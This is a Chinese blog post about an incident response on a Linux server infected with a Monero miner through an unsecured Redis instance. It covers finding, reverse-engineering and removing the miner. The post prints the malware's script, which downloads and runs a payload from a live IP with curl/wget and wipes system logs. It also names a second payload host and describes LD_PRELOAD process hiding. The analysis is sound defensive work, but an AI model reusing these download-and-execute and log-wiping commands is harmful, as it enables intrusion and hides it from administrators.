专栏首页中二病也要当白帽子记一次Linux挖矿病毒的清除

记一次Linux挖矿病毒的清除

起因是同学过年期间因阿里云的服务器Redis弱口令(好像是没设密码)被提权植入了挖矿病毒,CPU长期占用100%。

登录服务器后,首先使用Top命令,查看CPU占用。

发现CPU占用率达到100%,可是却没有相关占用高的进程。

想用apt安装一些软件,来协助查毒,结果全部报错,(后证明确实是病毒搞的鬼,清完毕后,apt就能正常使用了)

遂决定手动查毒试一试。

进入bin目录按照时间排序就发现了修改时间为19年2月8日的khugrepaged。正好是CPU第一次100%那天,阿里云发出警告的那天。

将他下载下来,通过VT查询,发现有多家报毒CoinMiner。使用IDA或Strings者提取字符串,发现有UPX壳,在本机通过upx -d命令进行脱壳。脱壳后再次提取字符串。

发现了大量类似XMR(门罗币缩写),矿池相关的字符串,无疑就是挖矿软件了。

但是删除重启后,还是会被二次创建。 这时可以使用类似下面的命令 find ./ -mtime +20 -a -mtime -50 -type f 表示寻找当前目录下(./),20天以前(-mtime +20)并且(-a)50天以内(-mtime -50)修改过的文件(-type f)。更多用法请自行扩展。

查看某个时间段内有哪些文件被修改过。(但是我这里没有用这种方式。)

其实,会被二次创建完全是情理之中。因为一般挖矿软件都是开源程序,病毒只是给与他特定的参数为病毒作者挖矿。 这时我首先想到去查看有无定时任务。 通过crontab -l查看所有的定时任务。

通过crontab -r删除所有定时任务。

将定时任务中出现的2.jpg下载下来,发现其实是shell脚本。部分内容如下(完整的见附件):

#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

function b() {
pkill -f sourplum
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
pkill -f kworkerds
pkill -f biosetjenkins
pkill -f AnXqV.yam
pkill -f xmrigDaemon
pkill -f xmrigMiner
.....省略.......
rm -rf /tmp/.uninstall* /tmp/.python* /tmp/.tables* /tmp/.mas
rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
chattr -i /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-*
rm -rf /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-* .systemd-private-*
chattr -i /usr/lib/libiacpkmn.so.3 && rm -rf /usr/lib/libiacpkmn.so.3
chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncate
chattr -i /bin/nfstruncate && rm -rf /bin/nfstruncate
rm -rf /etc/rc*.d/S01nfstruncate /etc/rc.d/rc*.d/S01nfstruncate 
chattr -i /bin/ddus-uidgen /etc/init.d/acpidtd /etc/rc.d/rc*.d/S01acpidtd /etc/rc*.d/S01acpidtd /etc/ld.sc.conf
rm -rf /bin/ddus-uidgen /etc/init.d/acpidtd /etc/rc.d/rc*.d/S01acpidtd /etc/rc*.d/S01acpidtd /etc/ld.sc.conf
mkdir -p /opt/yilu/work/xig /opt/yilu/work/xige /usr/bin/bsd-port  
touch /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty  
chmod -x /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty  
chattr +i /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty
ps auxf|grep -v grep|grep -v "\_" |grep -v "kthreadd" |grep "\[.*\]"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "watchbog" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
.....省略.......
ps auxf|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|rep /usr/bin/bsd-port/getty | awk '{print $2}'|xargs kill -9
netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :56415 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
}
function d() {
chattr -i /tmp/r1x
(curl -fsSL --connect-timeout 120 http://166.78.155.151/164 -o /tmp/r1x||wget http://166.78.155.151/164 -O /tmp/r1x)
chmod +x /tmp/r1x
/tmp/r1x
}
b
d
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
#

该脚本的基本功能是关闭并删除其他的挖矿软件和病毒(对的,这个病毒还帮你杀毒23333)然后通过 hxxp://166.78.155.151/164 下载挖矿软件并运行。 然后喜闻乐见,删除重启后,还是再次生成了。

这时,我考虑先下手解决进程隐藏的问题。通过查阅一些资料。发现很多病毒会对 /etc/ld.so.preload 做手脚以达到提前运行的目的。

在 Linux 操作系统的动态链接库加载过程中,动态链接器会读取 LD_PRELOAD 环境变量的值和默认配置文件 /etc/ld.so.preload 的文件内容,并将读取到的动态链接库进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD 环境变量和 /etc/ld.so.preload 配置文件中指定的动态链接库依然会被装载,它们的优先级比 LD_LIBRARY_PATH 环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。
                        ——段落引自《警惕利用 Linux 预加载型恶意动态链接库的后门》

查看该文件。

我们尝试删除 ld.so.preload。提示权限不足。

活学活用,在2.jpg的脚本用,看到了大量的chattr -i以及chattr +i的命令,尝试使用 chattr -i ld.so.preload,再进行rm操作就可以成功删除了。同理其他删除不掉的病毒文件。

ld.so.preload文件指向了/usr/local/lib/libftp.so 将libftp.so 拷贝出来后删除。 再尝试运行top命令,发现已经可以正常显示了。可以看到khugrepaged占了98%的CPU。

将libftp.so上传VT,报毒Processhider。很贴切的名字。对其进行简单的逆向分析。发现其Hook了readdir函数。并且发现了三个好玩的字符串。

khugrepaged是我们知道的挖矿程序,那么剩下两个呢。

通过 ps -aux| grep mdmisc 和 ps -aux| grep scsitgtd

看到了这两个文件的所在位置。使用 ls -al 列出隐藏文件。将mdmisc拷贝后删除。但是scsitgtd,bin目录下并没有找到。

我们先对mdmisc进行简单分析。字符串提取。

基本可以确定,khugrepaged就是他释放出来的。然后还修改了DNS等等的操作。 其中的一串命令如下

chattr -i /etc/init.d/mdmisc;rm -f /etc/init.d/mdmisc /etc/rc2.d/S20mdmisc
/etc/rc3.d/S20mdmisc /etc/rc4.d/S20mdmisc /etc/rc5.d/S20mdmisc;

查看其中的一个内容如下:

这个是用来启动mdmisc的。把这里相关的文件也进行删除

真正让人值得注意的是 chmod +x /bin/scsitgtd; /bin/scsitgtd; rm -f /bin/scsitgtd; 这句话。修改为可执行,运行后删除,这也就是为什么我们可以在进程中看到他,但是不能找到他的原因了。 对这个字符串做交叉引用,看是从哪里下载下来的。

可以看到是通过yxarsh.shop/165下载的。

我们请求一下,果然下载到了。upx脱壳后,IDA打开。

这是添加定时任务的代码逻辑:

主要功能逻辑:

剩下的就是把相关操作逆操作回来就好了。其实把这几个文件删了之后也就没什么大问题了。 令人惊讶的是,scsitgtd文件在VT上还没有一家报毒。23333,我是第一个上传的。

本人Linux苦手,有些地方记录可能不够专业。 行文也有些混乱还请表哥们多多指教,附上相关样本文件。我就不附SHA1了。 解压密码:infected

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Apache CGI模式下修改.htaccess导致服务器500的解决办法

    除了正常的用途外,在渗透中的Apache环境下,可以用.htaccess来重写Apache配置以绕过上传,或者留后门什么的。

    xuing
  • 如何快速判断一个程序是否带毒

    这不是废话吗,在我们正式开始自己的探索之前,先让我们相信一下,“医生”的判断。 总所周知,杀毒软件存在着误报,漏报等多种不可靠情况。接下来,我要告诉你的是如何...

    xuing
  • 群邮件钓鱼软件的简单分析并拿到后台

    不知道从何时起,qq群邮件就成为了钓鱼软件传播的一个绝佳场所,什么“”萌妹变声器”,“破解UU加速器”。 我偶尔闲的无聊的时候,就会下载下来耗费几分钟逆(ti...

    xuing
  • Python用列表生成html表格

    用户2398817
  • 表格打印分页实践小结

    print作为浏览已经比较成熟的技术可以经常被用来打印页面的部分内容,我们可以在mdn上查看到mdn相关的简单介绍。

    RobinsonZhang
  • 浙江移动数据中台的建设和应用实践

    最近在TD大数据论坛上我做了一次分享,题目是《浙江移动数据中台的建设和应用实践》,关于中台的文章现在网上很多了,文末我列了主流的数据中台的文章(包括我的),数据...

    用户1564362
  • 添加全站 APlayer 播放器

    之前 @狗子 在群里秀他的 Aplayer,还 post 了博文。然后我一看,哇!这就是我想要的!

    惶心
  • Apache RocketMQ原理(3)——消息ACK机制及消费进度管理

    PushConsumer为了保证消息肯定消费成功,只有使用方明确表示消费成功,RocketMQ才会认为消息消费成功。中途断电,抛出异常等都不会认为成功——即都会...

    好好学java
  • 【MATLAB 从零到进阶】day11 描述性统计

    均值mean 方差var和标准差std 最值max/min 极差range 中位数median 分位数quantile/prctile 众数mode...

    统计学家
  • 同你分享1个完整的聚类分析案例

    如何判断数据是否适合聚类? k类是如何确定的? 遇到数据集小的时候,如何得到直观的聚类图? 遇到非凸集数据,聚类要如何实现?

    1480

扫码关注云+社区

领取腾讯云代金券